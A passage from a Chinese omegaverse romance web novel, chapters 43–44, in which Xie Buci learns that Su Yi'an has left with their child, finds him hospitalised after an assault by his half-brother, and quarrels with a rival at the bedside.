谢不辞看着他那被汽水打湿的唇瓣只觉得口干舌燥,大脑空白了一瞬,身体比脑子更先做出反应,等他意识到发生了什么的时候,他已经微微起身,搂住苏以安的脖子在他唇上落下了一个浅尝辄止的吻。 苏以安有些不可思议的望向他,不过转瞬就调整好了表情,他没什么特别的反应,只看着谢不辞吞了口口水。 嗯,很好。 本来认为这举动已经够大胆了,差不多得了,但谢不辞只要看向苏以安,就无可避免的产生一种,无论他们怎么亲近都不够的想法。 第43章 第 43 章 苏以安在谢不辞的注视下起身, 还伸手擦了一下从嘴角流下来的那道汽水痕迹:“不早了,去把雪团接回来,晚安。” 谢不辞愣愣的应下。 在关门声响起后, 脑子里开始无限循环刚才的场景。 没有酒精味道的气息意外好闻。 他就像没跟人亲过嘴的毛头小子一样, 只是单纯回想一下刚刚嘴唇上温软的触感都脸颊发烫心跳加速。 他激动的拿出手机又点进小群, 语无伦次的叙述了半天, 然后得到了秒回的两个问号。 群里俩人谁也没理会谢不辞上边那段话, 只自顾自的探讨:[我觉得老谢不可能这么容易就把人追回来。] [嗯嗯,肯定后边还得来个大的。] [虽然不一定会来得很快,但绝对够老谢糟心的。] 谢不辞:? 甚至季文璟还得补刀一句:[谢哥咱以前名声在外,我们这要是把你恋爱脑这死出放出去你简直身败名裂,给你个机会,封口费这会就可以打了。] 谢不辞倒不是很在乎名声这种身外之物,也没回应季文璟的埋汰, 继续打字朝他俩发问。 [他会不会是因为在吃醋又没好意思表现出来?他以前很爱我的,没拒绝我这不是情理之中的事吗。] [他现在已经明白我的心意了对吧?] 群里沉默了好几分钟,蒋泽才发过来新消息:[你也太聪明了吧。] 还有季文璟的:[哥们首先我没别的意思, 其次我希望你年后也还能笑得出来。] 谢不辞没看出来他俩是不是在阴阳怪气。 其实按逻辑反推一下, 忽略苏以安到底是不是真的喜欢谢不辞这一点, 整个故事线就应该是: 谢不辞带着孩子和孩子爸去旅游,遇上了以前的风流债,他觉得孩子爸是吃醋的,然后在什么都没解释前面还一堆误会的前提下,用亲孩子爸一口来解决问题。 最主要的是他还觉得这算是表明心意。 一套行云流水的操作简直够让人目瞪口呆的。 哪怕全世界只有谢不辞一个alpha,只要孩子爸是苏以安, 这题就无解。 蒋泽沉默许久,才硬憋出那么一句话。 偏偏谢不辞心态一点都没受影响, 开开心心的去把雪团给苏以安送到卧室,还带着迷之自信的觉得什么都不用解释,他们之间互相了解,肯定懂得都懂。 送完孩子以后,谢不辞还特别得寸进尺的问他能不能也留在主卧睡。 毕竟主卧床挺大的,三个人睡也绝对有富裕。 然后苏以安给他扔了个枕头过来。 “犯困就给递枕头?这么贴心?” 就在谢不辞为自己有人格魅力沾沾自喜的时候,便听见苏以安的声音从被子里传出来:“孩子在呢别逼我骂你。” “我是让你卷铺盖出去。” “……哦。” 没事的,吃醋呢,可以理解。 谢不辞出去的时候轻轻把卧室门带上,然后转身回隔壁次卧。 可能熬穿了就是会困得不省人事,谢不辞躺下没多长时间就睡着了。 而且通宵是件巨消耗人精力的事情,以至于谢不辞能意识到自己睡了很久也依旧昏昏沉沉。 此时窗外透进来的光线已经变成了暖橙色。 谢不辞从枕头底下翻出手机看了眼时间,然后爬起来想出去看看苏以安起床了没有。 主卧空空荡荡的,被子叠的整整齐齐,家里也出奇安静,让谢不辞有种家里只有他一个人的错觉。 他又往厨房和阳台看了一眼,顺带着还从大敞着的门那确定了人也不在卫生间。 发现不太对劲以后谢不辞还愣了一下,拿出手机给育儿嫂打电话,想问问雪团在不在她那。 电话还没接通,谢不辞便在客厅餐桌上看见了一张字条。 上面写着:雪团户口给方明之就行,记得按时打抚养费。 没有落款,但那个拿颜料刷画上去的字,也找不出第二个主人来。 他把纸条放下,拿凉水洗了把脸清醒一下。 把手擦干净以后,尝试着给苏以安发了条消息。 不出所料,输入框里的问号刚点发送就收到了红色感叹号。 谢不辞拉开椅子,对着那只有一行字的纸条沉思了许久。 他想不明白苏以安又为什么忽然离开。 还连带着孩子也没给他留。 于是他不死心的打了个电话过去。 本来认为苏以安一定会把他拉黑,他也没抱什么希望,结果刚响铃没两声电话就被接起来。 听见苏以安声音以后,谢不辞紧张得对着电话支支吾吾了半天,最后只能干巴巴的问出一句:“你又怎么了?” 他没有别的意思,只不过这个内容,无论什么语气都显得不太对劲。 刚开口谢不辞就意识到了。 “质问我干嘛?” 谢不辞想说点什么解释,但苏以安没留给那个时间,继续开口道:“有些人,图个一时新鲜玩玩也就算了,真谈的话,太冒犯了吧。” “这不是你的原话吗。” 这话谢不辞确实说过,也有这个印象,但他没理解这句话跟苏以安莫名其妙的离开有什么关系。 “你往回想想,我除了没跟你结婚,还有什么没让你玩的。” “差不多得了啊。” “不是,等一下?” 谢不辞话还没说话电话就被那头挂掉。 为了防止把电话再打过去苏以安立马就把他拉黑,他还特意复盘了一下。 话虽然是这么说,但他当时是在对着苏以安内涵头牌哥呀,他是想说让苏以安跟头牌哥玩玩就算了。 苏以安该不会理解成了他俩玩玩就算了吧? 于是这个玩玩就变成了某种不能说出口的共识,所以说这话的那天晚上他才能在苏以安床上留宿? 还有看海的这趟旅行,地方让他来定。 算是商量了吧? 苏以安给他画个圈,然后这圈里的东西让他来安排怎么填,带着孩子一起出来,把他当老板似的言听计从的侍奉两天,然后连人带孩子一起跑。 …… 这个没法说,这个太窝囊了。 宣传了雪团半天,就宣传出了一个老婆孩子都没留住的场面。 还有当街遇上的那个omega,苏以安当时扭头就走的意思,该不会是情人圈里无那个无论如何都不能扫老板兴的规矩吧? 思及此谢不辞还因为落差难过了一下。 不过好在也没低迷太久,到这份上,一定不能落下他那两个过得还算消停的朋友。 于是三人小群里又多了一个视频电话。 “打电话就一定是出大转折了!” 谢不辞透过屏幕都能感觉到季文璟那快溢出来的八卦心思,他又继续开口:“什么瓜什么瓜,我先来的我先吃。” “也没什么大不了的,不过也就是出来旅游,然后老婆带着孩子走把我扔在这而已。” 这会蒋泽说话了:“又是什么让人眼前一黑又一黑的原因啊?” 谢不辞把过程简单叙述了一下,然后得到了季文璟的真诚发问:“你就非得挑战这种地狱难度吗?” “我说真的,我觉得你可能把人追到了就觉得没新鲜感了,你本质上还是个大渣男。” 不知道为啥,谢不辞居然觉得这话说的很有道理。 他好像就是分不清什么是喜欢什么是执念。 他也不太受那些得到的不容易就会珍惜这种传统观念的束缚,他这个人就是,对已经得到的东西会迅速失去新鲜感。 季文璟不问,他也没意识到。 但是不管怎么说,谢不辞都不忍心自己再有任何行为,对苏以安造成伤害。 “放心吧,一物降一物。” “你还没看出来啊?他俩都相处了这么多年了,苏以安那个无论如何都看不上老谢的劲,就够老谢上头一辈子的。” 蒋泽这话说出来以后,季文璟还有点不信,迟疑了一下拧着眉又问:“还能真喜欢啊?” “嗯呢呗。” 苏以安没走之前,他俩小学生掐架似的,蒋泽在旁观者角度看得可清楚了。 表面上虽然说得冠冕堂皇的,防止对方搞幺蛾子整蛊,但本质上却是连跟别人玩都是在试探对方底线。 这么多年了,能放下早放下了。 “我不信。” “那你让老谢跟你讲讲,雪团要是随便一个床伴带过来给他的,就是他亲生,他会是什么反应。” 谢不辞都没等季文璟二次重复就立马炸毛,连音量都拔高了些许:“我草,谁他妈敢拿这种事搞我我弄死他。” “行打住,那为什么苏以安这么办事就可以。” 他原本还想再骂两句,但话题转到这又立马熄火:“那会睡完了他说喜欢我,我也信来着,就是知道他是演的,我没敢说。” “这不是重点,重点是现在我极有可能又找不到他,我应该怎么办。” 谢不辞甚至都不知道苏以安是什么时候收拾东西带雪团走的。 不过他倒是也没因为这个着急。 毕竟就算知道没走多久,这天高皇帝远的,短时间内他也找不到什么靠谱的人帮忙查。 季文璟把之前的消息都挨个点了回复给谢不辞翻出来看。 就昨天说的那些,苏以安心思重,有事不会告诉他,和肯定会整个大的出来的猜测。 该顺带给他出了个主意:“我觉得还没完呢,要不你出门看看,可能会有人等着你跟你说点什么。” 蒋泽还补了一句:“不放心就给方明之打电话问问,我就不信苏以安跟你出来之前没告诉他什么。” 谢不辞觉得很有道理,于是关掉视频以后立马去给方明之打电话。 电话接通以后他直奔主题:“哥们苏以安跟我来海边之前和你说啥了?” 不知道是不是跟在苏以安身边久了,方明之对谢不辞这人就有戒心。 他没直接回答:“你要干嘛?” “这不是我要干啥的事了,他把雪团带走了,然后告诉我把孩子户口给你。” 方明之没说话的那几秒钟里,谢不辞甚至怀疑苏以安是不是根本就没告诉过他要走。 “临走之前告诉我,玩玩而已谁都可以的话,也不是不能接受你,实话实说,你是有姿色的。” “我让他离你远点,他说他有打算,然后我就跟他讲让他保护好自己。” 这么短的交流,谢不辞提取不出什么有用信息来。 正愁没东西可问,方明之就又特别贴心的给他甩了个新的坑过来:“但他跟我说的这一趟,起码要玩将近一个月,你又干啥大好事了?” “我真啥也不知道啊,他不会跟我说。” 后面方明之说帮他去问问,就挂掉了电话。 干等着发呆的那段时间里,谢不辞甚至还忽然意识到,苏以安之前要把他赶出主卧,是不是就因为他亲了他一口。 都是这个圈子里混的,但凡是带着强烈情绪的眼神,苏以安都熟悉得不能再熟悉。 加上谢不辞在他眼里没什么好印象。 谢不辞都有点怀疑他当时什么都没说就走掉是不是又觉得他想睡他。 本来就是天炸开局,现在难度更是上升了好几个level。 觉得留在家里也不可能把苏以安等回来,谢不辞就起身准备换身衣服出去看看。 但好巧不巧的,他刚收拾完从卧室出来,就收到了沈伊的消息。 发来的是一张图片,然后对方正在输入闪烁了好几次都没见有文字发过来。 谢不辞点开图片看了一眼,是写着苏以安名字的体检报告。 他又翻出手机日历确认了一番,检查时间就是今天。 那育儿嫂没跟着,方明之根本不知道怎么回事,是谁跟着他去检查的? 检查途中孩子又是谁帮忙看着的? 可能是敲字太麻烦了,沈伊直接发了好长一条语音过来,开口就是质问,语气也算不上多好。 “谢不辞你到底在干嘛,你把他带走你就是这么照顾他的?” “我本来字都打好了,但觉得没有气势,我得发语音。” “本身最开始怀孩子就辛苦,他情绪不好很容易出事,你就大冬天带他吹冷风熬通宵?” 那检查结果谢不辞没看懂,但能大概看出有一些受信息素影响的乱七八糟的症状。 严不严重看不出来。 不过沈伊都过来批判他了,应该不会是什么小病小痛。 “哦,对了,忘了一页。” 从沈伊发过来的第二张图片看,谢不辞就看明白了,确实不是小事。 因为信息素功能障碍导致的出现先兆流产症状。 “他发烧到三十九度多,我要是问,你绝对要跟我说你不知道。” “那你到底为什么要单独带走他!” 这下谢不辞彻底说不出话来了。 他确实不知道,真的毫无察觉。 晚上他俩面对面坐在阳台上的时候,他以为苏以安无精打采的是因为熬夜犯困来着。 完全没注意到他是不是状态很差。 对话框里沈伊的语音还一条接着一条的,谢不辞挨个认认真真的点开,生怕遗漏掉什么。 “雪团才不到一周岁,那猪都没有让这么生的吧!” “他身体差生雪团就很危险了,你……你最好别让我看见你,不然绝对给你两拳。” 谢不辞想问苏以安是怎么去的医院,现在怎么样了,但他似乎没有等沈伊挨个回答的耐心,于是回复的消息也被迫变成了:[你现在在哪,他是跟你待在一起吗。] 得到了后面问题的肯定答复谢不辞便松了口气。 沈伊专业能力很强,人也靠谱,还是真心喜欢苏以安的,有他在不会出太大的问题。 然后就是一条新语音:“别问了,你少过来添乱,他估计也不想见你。” 这条语音的背景音里,谢不辞还听见了雪团在后面问,是不是爸爸。 谢不辞关掉聊天页面,没再多说什么,定了最近时间回家的机票。 依旧是什么行李都没拿。 雪团的奶瓶衣服之类的随身物品已经被带走了,他就没什么非带不可的东西。 去机场的那段路上,他谁也没联系,只默默坐在车后座抽了一支又一支的烟。 他有心理准备苏以安不相信他,也知道苏以安大概率什么都不跟他讲。 但已经严重到出现先兆流产症状还发高烧这种情况,离得最近的就是他,苏以安依旧不愿意跟他开口。 他不知道问题出在哪。 可他知道他离做一个合格的爱人和爸爸,还差着十万八千里。 这是从来没有过的挫败感。 回家的时间全不上长,飞机也就短短几个小时。 苏以安很讨厌独自一个人在完全陌生的地方,再加上他有的时候很排斥医院,就几乎不可能留在景区那边。 因为苏以安是那种情绪至上的人,他抗拒的事情就是无论绕多大弯都要避开,这方面从不让自己受委屈。 回来之前是黄昏,现在从机场出来已经凌晨了。 谢不辞没喊任何人来接他,只打车之前打电话问方明之见到苏以安没有,还有人现在怎么样了。 方明之告诉他这种情况很难用药,再怎么优先保大人,也还是有可能会出现危险。 说完还给了他医院的定位。 雪团太小了,只依赖苏以安,勉强能因为信息素接受谢不辞。 孩子没见过这种场面,他害怕,就一直在哭,方明之和沈伊两个人完全哄不好。 谢不辞立马以最快的速度赶到医院。 雪团看见他就伸手让他抱,他都能感觉到在他过来之前雪团一定哭了很久。 方明之给他在病床前拉了把椅子过来:“沈伊说不全是你的问题,。” “我猜是他本身就计划好了要走,但后面又听说了什么让他难以接受的事情或是谁专门找他麻烦。” “他没有一定不要这个孩子这样的想法,所以他不会自残自虐,大概是回来以后的事情,我们还没来得及查。” 认识了这么多年,除了苏以安他爸去世的时候,谢不辞几乎没听说过什么事是让苏以安特别难以接受的。 所以需要排查的范围并不大。 而去调查发生了什么也确实没用多长时间。 这个世界上唯一敢明目张胆对苏以安动手的只有,攥着他户口的钟家。 谢不辞原先一直觉得,他爸是个温柔又圆滑的商人。 结果他爸铁了心要搞谁,不光不留一点余地,出手还迅速得不会给对方留一点喘息时间。 从谢不辞带苏以安出去旅游到现在,一共也才三天多的时间,他爸就已经做到让钟家走投无路那份上了。 钟家觉得,现在能抓住的救命稻草就只有沈家。 但他们拿得出手的,能让沈家同意出钱的,就只有沈伊一直放不下的苏以安。 于是很赶巧,在这个钟家为了找苏以安闹得沸沸扬扬的时间点,苏以安自己回来了。 他们理直气壮的把苏以安当做商品,对他进行包装驯化,最后实在没成功,就采取各种强制手段。 因为时间短,具体过程谢不辞没听完整。 大概就是,苏以安那个从高中就明里暗里给他找事的大哥钟漫川,带着保镖把苏以安堵在了刚出机场那段路上。 前面苏以安表面上对雪团这谢不辞亲生的孩子没什么感觉,他们家就没专门干预这件事。 这次苏以安带着孩子回来,两人起了冲突钟漫川就对他动手,吵着吵着好像就要把孩子抢走。 不管是扇苏以安巴掌还是抢孩子,都是当众。 后面因为见了血,觉得事情要越闹越大,钟漫川怕真有什么好歹给叫了救护车。 然后沈伊就是那趟救护车上跟来的医生。 给查这码事的秘书在电话里还问谢不辞准备怎么办。 准备怎么办? 这都欺负到跟前了还能有忍气吞声的道理? 要不是觉得不能吓着孩子,又刚好是在苏以安病床前,谢不辞估计要张嘴就是脏话。 他先跟家里说要小打小闹的给点教训,剩下的等苏以安好一点再说。 报复这种事情,受害者不亲眼看见,达不到预期中的效果。 后面谢不辞还专门问了沈伊现在具体什么情况,钟漫川是怎么跟他动手的,都伤到哪里了。 好在当街不至于下太重的手,检查过后也没看见什么明显的外伤。 凌晨的医院并不安静,走廊里时不时就能听见轮子划过地板的声音,偶尔有声音比较大的交谈声。 没那么吵闹的时候还有屋里钟表指针转动的声音。 雪团哭累了就攥着谢不辞的袖子睡着了,只是睡得算不上安稳,小脸上挂着没干的泪痕,眉头也是皱着的,连呼吸都算不上安稳。 而且苏以安体温一直降不下去,在床边守得谢不辞也各种焦虑。 好几个小时过去,等悬挂着的输液瓶中液体都流进那能在手背上看得见的血管里,情况才稍微稳定一些。 第二天苏以安睁眼的时候都已经将近中午了。 病房里只有他们一家三口在。 苏以安没用扶一把就自己坐起来,谢不辞不说话他也不说,就那么委屈巴巴的红着眼眶看向谢不辞。 这种时候谢不辞真的觉得全世界就钟家人最该死。 雪团从早上睡醒了就一直蔫蔫的,对什么都没什么兴趣,无论谢不辞拿什么玩具给他他都不要,给冲了奶粉也不吃。 见苏以安清醒了才伸手要让他抱。 但只是开口说说,没有主动从谢不辞怀里爬出去。 就好像不明白发生了什么,也能理解他爸爸拒绝他,并且就算难过也不会因为这个哭闹。 谢不辞把雪团放到苏以安腿上,看着雪团伸出小手紧紧握着苏以安的手指,起身给倒了杯温水送到苏以安手边,才开口询问:“你有什么想跟我说的吗?” “你把雪团带出去吧,一会再说。” 谢不辞没多问什么,只带着孩子出了病房,还喊来了方明之问怎么回事。 病房里重新恢复安静,就连方明之进来的时候都是先跟苏以安面对面沉默了半天。 “真不讲讲?为啥一高兴就自己回来?” “我听听谢不辞又干啥好事了。” 在苏以安开口之前,方明之设想过无数种情况,结果没想到苏以安开口的第一句话居然是:“这次跟谢不辞没关系。” “临走之前,我确实在他饮料里加了点东西,我就没打算让他也回来。” 这下方明之更不理解了:“那你干嘛疯了似的忽然要回来,不是计划好的去将近一个月时间的吗,那么多景点,这地方待腻了你就不能换一个?” “因为雪团我也不想给他。” 谢不辞是alpha,想给他生孩子的一抓一大把,但苏以安必须承认,他也许这辈子也就只有这两个孩子了。 他需要谢不辞的人脉和背景保护孩子。 可道理都明白,最近却不知道到底是怎么了,以前都觉得没什么好在意的小事似乎都能变成压垮他的稻草。 他开始不愿意一个人面对空空荡荡的房间,不愿意自己一个人吃饭,也不太能接受安静。 唯一不会背叛他且绝对爱他的,只有他的孩子。 他几乎从来不与人起冲突,在离开机场的路上自然也不愿意跟钟漫川对峙。 但无论说什么,钟漫川始终都是要求他把雪团丢在路边的那个要求。 没得商量。 两家一直以来都矛盾不断,钟漫川简直恨不得雪团立马冻死在大马路上,然后以虐杀儿童反咬谢不辞一口。 苏以安很清楚他现在对钟家是有绝对价值的,所以那些保镖不敢真的对他怎么样,可他没预料到,一个人,是很难同时保护两个孩子的。 所以才觉得难过。 临上救护车之前,感觉到温热的鲜血流到衣服上的时候,他是真的害怕就此失去第二个孩子。 他被人拿担架抬起来的时候,都死死抱着雪团。 那会因为这边刚下过雪,本身就很冷,加上失血,冷到他整个人都是麻木的。 直到听见沈伊的声音才渐渐放下了些防备。 雪团被吓得不轻,一直在哭。 哪怕路途中苏以安都已经不太清醒没有力气睁开眼睛了,也还是能听见雪团的哭声。 所以在彻底清醒之前,他一直在断断续续的做着噩梦。 梦里他无数次指责自己是不是不自以为是就好了,是不是晚几天,或者不要回这座城市就不会发生这样的事情了。 可已经发生的,他没法改变。 以至于他睁眼以后看见谢不辞还恍惚了一下,开始怀疑自己到底是在什么地方的医院。 “昨天晚上……现在可能是前天了。” “我看到谢不辞特别认真的在看着我,然后我们没有言语,他亲了我一口。” “那个眼神,我在沈伊身上也看见过。” 一时荷尔蒙上头营造出来的爱情保质期太短了。 维持的唯一方法就是距离与执念。 以前苏以安觉得,拿别人对自己的感情作为筹码最不可靠,所以一直不屑于如此。 但却又不得不承认,谢不辞对他的感情已经是他仅剩的能拿得出手的东西了。 他必须要赌。 赌这份感情能继续成为谢不辞记挂着的执念,赌真的出现了什么他无论如何都无法解决的事情时,谢不辞能凭借这份也许微不足道的感情来拽雪团一把。 而他能跟谢不辞开口的唯一前提,就是像高中那样,利用谢不辞觉得别人不能拒绝他的心理。 所以他没有犹豫的时间,要走就得趁早。 趁着这会是谢不辞这辈子最喜欢他的时间节点,带着自己的孩子跑。 “你觉得他是真喜欢你?” “嗯。” 还是之前那句话,手里有钱的omega,过得再差也差不到哪里去。 无非也就是带着孩子一直搬家,起码他能保证孩子衣食无忧。 雪团爱他,与谢不辞无关。 “走得匆忙还什么都没打算,是因为我不在A国才选择回这里?” 苏以安其实自己也说不清为什么选择回这。 硬要扯一个理由的话大概就是,他爸从小就给他灌输了一种落叶归根的思想吧。 他爸葬在这里,他便下意识的认为这里才是家,而且他爸一辈子都生活在这座城市,他也没理由死后把人带走。 如果可以,他肯定会优先选择留在这片土地。 苏以安甚至很怀念那段住在小地下室的日子。 因为在吃不起饭的时候,就只有吃不饱这一种烦恼,而人一旦有了钱,就会操心人际关系,认知以外的的各种麻烦就会紧随其后。 他最初也预料到了,生了孩子,就极有可能会失去曾经攀附的所有老板。 新的目标,也几乎锁定不了愿意得罪谢不辞家的。 把雪团送到谢不辞手里之前,他设想过谢不辞会用什么样的方法和手段收拾他。 苏以安原本打算的就是,他贱命一条,能给谢不辞带来个一辈子甩不掉的麻烦也算临死之前给自己出了口气。 只是谢不辞没有找他的麻烦。 所有的事情都在朝着他预料之外的方向发展。 在病床边看见谢不辞的那一瞬间,苏以安真的有一瞬间的想不顾一切跟了谢不辞的冲动。 毕竟这人除了渣一点三观还是很正的。 不过他还没到发烧把自己烧傻了的程度,想法冒出来的一瞬间就被压了回去。 “那这件事你准备怎么处理。” “我能怎么处理。” 没有权力没有背景,他手里的那点钱估计都不太够他养两个孩子的,除了闭嘴当做就这么过去了,就是什么都做不了。 “真不考虑一下沈伊吗?” “钟家做到这份上,他都依旧为你着想没有拒绝。” 这倒是实话。 如果沈伊拒绝了,那钟家无路可走,最开始一定会强迫他去求沈伊,后面依旧没有余地的话,他就会变成不值钱的玩物。 用还算干净的腺体和信息素变成一些黑色癖好的新资源。 这样就真的没人在意他的死活了。 方明之握住苏以安的手拍了拍:“其实有的时候我也在想,我要也是富家子弟就好了,我就不用看着你平白无故的受这些委屈了。” 苏以安笑了笑,朝他调侃道:“怎么,你也喜欢救风尘啊?” “你要是富家子弟,我都不跟你玩。” “圈里规矩,不处老实人。” 沉重的话题就此结束,方明之跟苏以安相处了这么多年,知道这些事情他本身就很不愿意提及。 不得不说的时候才会因为信任他跟他讲两句。 “包你一辈子怎么不算是另一种形式的下海呢。” “开个价吧,万一我下辈子就包得起了呢。” “这么恶毒?下辈子还让我干这个?” 两人你一言我一语的,气氛轻松了不少。 后面沈伊进来给苏以安量体温,谢不辞也不知道在不放心什么,抱着孩子跟受气的似的跟在沈伊身后。 大人孩子都不说话,就在那眼巴巴的看着苏以安。 虽然还是有点低烧,但各方面数值都已经趋于稳定,各种治疗手段都尝试过了,才勉勉强强保住了第二个孩子。 这会病房里人很多,沈伊也没多跟苏以安多说什么,只嘱咐了一句:“有什么需要我的直接跟我讲就好,我不多过问你不想提及的糟心事,你好好休息。” 苏以安倒是没什么特别的反应,客套一下再官方的说点感谢话。 但谢不辞却多了一重危机感。 因为跟沈伊比,他嘴笨又没什么情商,唯一的竞争优势就是孩子,偏偏孩子苏以安也不想留给他了。 沈伊出去的时候,方明之给了谢不辞个眼神,也跟着一起出去。 没有过照顾病人的经验,谢不辞这会站在墙边都手忙脚乱的,原本是想问苏以安好点没有,却嘴瓢说了三次都没说明白。 最后干脆放弃,把雪团递过去,问他:“你抱抱吗。” 苏以安把雪团接过去,雪团立马就委屈得要死。 他也不敢跟苏以安哭,就搂着脖子怎么劝都不撒手。 谢不辞纠结了一下,才支支吾吾的开口:“后边说的可能有点不太合时宜,但还是得说。” “你打算怎么解决这件事。” 苏以安回复他的也还是跟方明之说的那套话,差不多得了,反抗不了就算了。 结果他还没怎么样,谢不辞先急了。 “这种人命关天的事,说算就算了?” “不是,合着你那个什么都不服的劲只能用在我身上啊?你看看这一出把你跟雪团委屈的。” “我不管,反正我忍不了,你要是不说,那我也不是没招对付无赖,给你出气你在旁边看着就完了。” 这话真处处戳苏以安心窝子上。 本来就因为孩子哭心疼,谢不辞还专门捡他不爱听的说。 果然就不能对渣a抱什么希望。 “不会说话就滚出去。” “哪壶不开提哪壶。” 跟谢不辞犟那是高中的时候没见过世面,初生牛犊不怕虎,才会一点弯都不会绕的闹得满城风雨。 现在孩子都有了,能一样吗,得罪人会有什么好处? 就算现在钟家落魄,苏以安也必须有对方还能爬的起来继续压榨他的忧患意识,毕竟人家只是没钱了不是人死了。 谢不辞还拉了把椅子过来直接坐在苏以安面前,继续侃侃而谈:“打一顿又不是什么大不了的事情,你挑个地,你看钟漫川哪不顺眼跟我讲,我帮你解决。” “不用觉得不好意思,咱俩谁跟谁啊。” “户口这个事情,我肯定帮你彻底解决掉,我出手你不相信,我爸你还不放心吗,他想解决的竞争对手,就没有爬的起来的。” 苏以安确实听说过谢不辞他爸在圈子里的名声,对手段宣传得很模糊。 传出来的形容词大多都是爱老婆很顾家这样的。 不过老总,很难掉链子。 尤其是本身就势在必得的事情上。 这会谢不辞还发现雪团看向他的表情都是皱皱巴巴的,他也没get到儿子是啥意思,就抢先理解:“你也不认同你爸的做法对吧,哪有人能活这么窝囊的,这种事情就是不能忍。” 苏以安朝他笑了笑,然后没搭理他那一套,神秘兮兮的开口:“谢哥我跟你讲个秘密。” “什么?” 这秘密是哪方面的谢不辞一时之间还没有头绪,苏以安也没卖关子,直截了当的说道:“我这次回来的行程,是街上拉着你要结婚的那位小伙子透露给钟家的。” 谢不辞立马收回了表情。 又是熟悉的面无表情平静陈述事实这一套。 但凡这招一出来,谢不辞就能立马感觉到自己要玩完了。 “这个……保真吗。” “还有,你是咋知道的?” 然后苏以安就挑眉看着他不说话。 越是这样谢不辞越心虚,简直快把自己前半辈子做过的坏事都回忆了一遍,也还是没回忆出这俩人到底是什么时候认识的,又是怎么互相知道对方身份的。 这要是真的,自己以前的烂债找到苏以安那去,他就真要追不回老婆了。 “你要不说句话呢?这挺吓人的。” 第44章 第 44 章 怎么可能是真的呢。 时间这么紧, 就算是真的苏以安也无从得知。 说这话就只是单纯觉得谢不辞太吵了,想用点什么方法让他把嘴闭上。 事实也验证了一把,只要让谢不辞自己也成为当事人之一, 他就会立马安静。 现在他不光暂时性的改掉了满嘴跑火车的毛病, 还知道主动观察他的表情, 坐在病床旁边找了个苹果削。 说怕苏以安饿了还没东西吃。 尴尬的时候, 总会通过让自己显得很忙来掩饰。 苏以安没拆穿他。 谢不辞把削好的苹果递给苏以安之前, 还特别贴心的知道提前给雪团切一块下来。 “我觉得这个事情的真实性还有待考究,你等我先打探打探。” “你别急,我现在就去。” 根据蒋泽之前强调过无数遍有误会要当场解开的原则,谢不辞削完苹果立马就出了病房。 沈伊是这家医院的医生,不会频繁的往苏以安这跑,方明之目前没回A国也是因为有工作。 所以谢不辞走了,病房里就只剩下苏以安和雪团了。 从起床到现在, 脑袋一直都是昏昏沉沉的。 苏以安把苹果原封不动的放到床头柜上,自己拔掉输液瓶已经空掉的针头。 形容不出来是冷还是热,反正全身上下哪哪都不太舒服。 甚至光是闻到屋子里有食物味道就会开始反胃, 然后小腹隐隐作痛。 雪团倒是很乖, 也没挑食, 老老实实在苏以安怀里把苹果吃完,然后陪着苏以安休息。 谢不辞一共也没出去多长时间。 有明确目标根本不需要花费多长时间出去查,然后他就事无巨细的把那小omega的家庭背景和个人行程之类只要是他能想得到的东西,都查了一遍。 omega叫凌望。 是个满嘴谎话且为达目的不择手段的人。 因为生在豪门,还有三个alpha哥哥,他生下来就知道自己一定争夺不到什么家产。 但他偏偏还是个爱慕虚荣的人。 他比苏以安心眼子多, 有点像个法外狂徒,不知道是背后有谁, 反正不管做什么都能找到顶罪的。 然后最让谢不辞觉得不可思议的是,无论他在外面玩多花,在他家里人眼里,他都是又乖顺又容易摆布的木偶形象。 所以没有直接证据证明苏以安说的是假的,凌望的作案动机也确实充足。 从谢不辞的视角看,不管是谁需要一个有钱有权三观正,还互不干涉结了婚也能各玩各的这样的联姻对象,他都是最优选。 那凌望想借刀杀人的除掉苏以安再正常不过了。 谢不辞直到这会才忽然发现。 好像从一开始,重点就不该是他追老婆地狱难度,是他老婆想活着就地狱难度。 因为离开的时间太久谢不辞觉得心里不踏实,从家里带了点保姆专门早起给他妈熬得汤,就又折回了医院。 前前后后一共出去两个来小时,再回病房门口的时候,谢不辞还听见了里面传来的交谈声。 已知沈伊今天值班没什么空,方明之还特意发消息嘱咐他别离开太远。 那现在这病房里,说话的是谁? 谢不辞象征性的敲了敲门,然后开了门都没走进去,就看见了一个穿着镭射蓝外套的背影。 那人闻言回过头,和谢不辞对视。 这谢不辞熟啊,头牌哥。 “你过来干嘛啊?” “这话不应该是我来问你吗。” 他俩从一开始就互相看不惯,这会忽然见面,嘴上是谁也没饶谁。 谢不辞走进去,把带来的汤和雪团备用的奶瓶都放到里面,然后朝着头牌哥阴阳怪气:“这会刚到啊?昨天晚上出事的时候你干嘛去了,你们家小苏跟你关系这么好,该不会没告诉你吧?” “不会是他朋友也没请你过来看看吧,那你也太多余来了哥们。” 头牌哥中文说的不太好,理解谢不辞的话似乎也需要些时间。 不过他倒是很清楚自己吵不过谢不辞,没听明白的就干脆不理,只特别简短的回答谢不辞:“可是他喊我了,你不请自来。” 谢不辞闻言皱眉,有些疑惑的看向苏以安。 这会苏以安手里还拿着跟雪团一块玩的积木,注意到谢不辞的视线才抬头。 “你请他过来干嘛?” 苏以安有些敷衍的解释:“不算请吧,但是谁知道你什么时候回来。” 虽然不清楚苏以安跟头牌哥说了什么,但谢不辞知道,在A国的社交礼仪里,只要开口就算请。 而这个时候苏以安跟他说谁知道他什么时候回来,这不就能典型的需要他还没好意思喊他吗。 绝对是在闹脾气。 后面再把头牌哥轰出去他就理由充足了。 但头牌哥抢在谢不辞之前,用能听清但口音极重的声音开口:“一山不容二虎,谢先生,请您出去。” 谢不辞一愣:“谁教你一山不容二虎是这么用的。” 该说不说,哥还怪有礼貌的。 这话要是让谢不辞讲,肯定就直接说滚了,头牌哥还知道整点敬语出来。 紧接着谢不辞也开始用魔法打败魔法:“亲爱的头牌先生您好,这里给您科普一个冷知识,陪床这种活,是只有亲属才能干的呢,这边建议您结束探视就请自行离开,恕不运送哦。” 他话音落下,雪团还特别给面子的伸出手拽了拽他的袖子,然后给他指了指他刚放下的备用奶瓶:“爸爸,奶粉。” “我马上就去。” 谢不辞回应完雪团还特别洋洋得意的给了头牌哥一个眼神。 但是头牌哥中文就是不好,搞的谢不辞像媚眼抛给瞎子看一样,他根本没听明白谢不辞在阴阳什么,只干巴巴的回复一句:“我现在不是头牌了。” 随后他又看向一直没说话的苏以安,朝苏以安问道:“探视和陪床有什么区别?” 话音一落,就全场的视线都聚集到了苏以安身上。 好在苏以安一点也没觉得尴尬,开口也是不偏不向的:“区别就在于……” “你俩要是没什么事就可以一起出去了。” 